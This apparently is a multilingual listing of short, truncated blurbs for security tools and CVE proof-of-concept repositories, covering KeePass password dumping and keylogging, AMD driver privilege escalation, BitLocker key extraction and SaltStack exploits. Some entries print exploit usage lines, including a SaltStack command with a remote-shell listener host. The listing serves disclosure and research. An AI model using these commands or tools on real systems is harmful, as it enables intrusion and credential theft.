CVE-2026-25589-25588-25243-23631-23479-REDIS

GUIA DE TESTE E CORREÇÃO DE 5 CVEs DO REDIS ATÉ 2026.05.08 Data de publicação: 2026-05-08 Autor: TonyCao [email protected] Fonte: Redis Security Advisory ÍNDICE 1. Visão geral 2. Versões afetadas 3. Detalhes de cada CVE CVE-2026-23479 — Use-after-free no Unblock Client Flow CVE-2026-25243 —...

CVE-2023-20564

CVE-2023-20564 - Prova de Conceito de Acesso à Memória Física do Driver AMD Ryzen Master Visão Geral Este repositório contém uma Prova de Conceito PoC demonstrando a vulnerabilidade CVE-2023-20564 no Driver AMD Ryzen Master. A vulnerabilidade permite que usuários sem privilégios leiam e escrevam...

keepass_dump

Keepass-Dumper Esta é a minha implementação de PoC para CVE-2023-32784 A minha versão é um port em Python do PoC do @vdohney com algumas alterações e funcionalidades adicionais. Alterações Uma mudança foi usar strings conhecidas que podem ser encontradas no arquivo de dump para saltar com mais...

BSOD_bitlocker_recover

Ferramenta de Extração de VMK do BitLocker Este script Python ajuda você a extrair potenciais Chaves Mestre de Volume VMKs do BitLocker a partir de arquivos de despejo de memória, como aqueles gerados por uma Tela Azul da Morte BSOD. É um utilitário de linha de comando projetado para auxiliar em...

swarm

swarm v0.6.0 Englisch | Chinesisch. Swarm ist ein Open-Source-modulares, verteiltes Penetrationstest-Tool, das mithilfe einer verteilten Aufgabenwarteschlange die Kommunikation im Master-Slave-Modus-System realisiert und MongoDB zur Datenspeicherung nutzt. Es besteht aus einem verteilten Framewor...

CVE-2020-11651

CVE-2020-11651 CVE-2020-11651 के लिए PoC Python3 की आवश्यकता है, 3.8 पर परीक्षित python3.8 -m pip install pyzmq msgpack root@kitploit: ⇒ python3.8 poc.py -h usage: poc.py -h -p PORT -c CMD -k -m -r READ -w WRITE -f FILE server server ... CVE-2020-11651 का शोषण positional arguments: server लक्ष्य...

dynmx

dynmx Prototype dynmx spoken dynamics is a signature-based detection approach for behavioural malware features based on Windows API call sequences. In a simplified way, you can think of dynmx as a sort of YARA for API call traces so called function logs originating from malware sandboxes. Hence,...

CVE-2023-24055

CVE-2023-24055 CVE-2023-24055 के लिए POC और स्कैनर अपने जोखिम पर उपयोग करें! configscanner.py विंडोज पर चलने वाली KeePass कॉन्फ़िग फ़ाइल के लिए एक सरल पार्सर। यह उपकरण %APPDATA%\Roaming\KeePass\KeePass.config.xml निर्देशिका खोलेगा और सभी ट्रिगर आउटपुट करेगा। निम्नलिखित ट्रिगर कमांड लाइन / URL...

AmdRyzenMasterCheat

ECPRO-LAN Anti-Cheats: FACEIT, ESEA con versione personalizzata Inizio 2019 - fine 2020. R.I.P. https://h0mbre.github.io/RyzenMasterCVE/ Requisiti: Windows 10 Enterprise 1607 LTSB con tutti gli aggiornamenti CPU AMD Ryzen Scheda madre B350-B450 client B550 è buggato Logitech GHUB installato per...

keelog-bof

KeeLog Async BOF जो अनलॉक प्रॉम्प्ट विंडो की निगरानी करके KeePass मास्टर पासवर्ड को कैप्चर करता है। जब एक लॉक्ड KeePass डेटाबेस का पता लगता है, तो एक निम्न-स्तरीय कीबोर्ड हुक स्थापित किया जाता है और कीस्ट्रोक्स तब तक कैप्चर किए जाते हैं जब तक कि प्रॉम्प्ट विंडो सबमिट, कैंसल या बंद होकर गायब न हो...

tofu

tofu Uno strumento modulare per hackerare filesystem Windows offline e bypassare schermate di login. Può fare dump di hash, backdoor OSK, enumerazione utenti e altro. Come funziona : Quando un computer Windows viene spento, a meno che non abbia Bitlocker o un altro servizio di crittografia...

CVE-2026-75328

In DocSys-master V2.02.85, the downloadDocEx interface in src/com/DocSystem/controller/DocController.java has an arbitrary file read vulnerability:...

CVE-2023-32784-EXPLOIT-REPORT

Dimostrazione dell'Exploit CVE-2023-32784 Panoramica del Progetto Questo repository fornisce una dimostrazione di CVE-2023-32784, una vulnerabilità critica presente nelle versioni di KeePass precedenti alla 2.54. L'exploit consente il recupero della password principale tramite dump della memoria,...

CVE-2020-11652

SaltStack-Exp CVE-2020-11651 CVE-2020-11652 Esegui su Master: root@kitploit: python exp.py --exec-choose master --exec-cmd "whoami" Esegui su Minions: root@kitploit: python exp.py --exec-choose minions --exec-cmd "whoami" Ottieni Shell: root@kitploit: python exp.py --shell-LHOST 8.8.8.8...

scannerl

Scannerl Scannerl is a modular distributed fingerprinting engine implemented by Kudelski Security. Scannerl can fingerprint thousands of targets on a single host, but can just as easily be distributed across multiple hosts. Scannerl is to fingerprinting what zmap is to port scanning. Scannerl wor...

CVE-2020-12928

CVE-2020-12928 Codice exploit LPE Questo repository è solo a scopo didattico . dimostrazione Riferimenti: https://h0mbre.github.io/RyzenMasterCVE/ https://movaxbx.ru/2020/10/14/cve-2020-12928-exploit-proof-of-concept-privilege-escalation-in-amd-ryzen-master-amdryzenmasterdriver-sys/...

CVE-2023-32784-keepass-linux

KeePass 2.53/cmdline 文件，并存储命令行参数中包含关键字 KeePass 的进程的 pid。 然后，它会获取 /proc//maps 中未直接关联库（即文件路径为空）的内存映射的地址。 接着，它利用 /proc//mem 将所有映射的内存存储到缓冲区中。这是在 Linux 上转储任意进程内存的一种基本行为。 它会解析内存，尝试查找用户输入主密码时留下的残存字符串，这些字符串看起来像 •a, ••s, •••s 这样的序列。第一个字符会缺失。您可以通过查看代码找到其他功能。 gcc dumppwd.c -o dump 然后就可以运行了。...

ir-rescue

ir-rescue ir-rescue is composed of two sister scripts that collect a myriad of forensic data from 32-bit and 64-bit Windows systems ir-rescue-win and from Unix systems ir-rescue-nix. The scripts respect the order of volatility and artifacts that are changed with the execution e.g. , prefetch file...

CVE-2026-75960

Rently Smart Home versions 20.1.0 and prior are vulnerable to an Insufficiently Protected Credentials vulnerability. This could allow an attacker to retrieve pins including the Master Pin, overriding standard user permissions...

EUVD-2026-66423

Rently Smart Home versions 20.1.0 and prior are vulnerable to an Insufficiently Protected Credentials vulnerability. This could allow an attacker to retrieve pins including the Master Pin, overriding standard user permissions...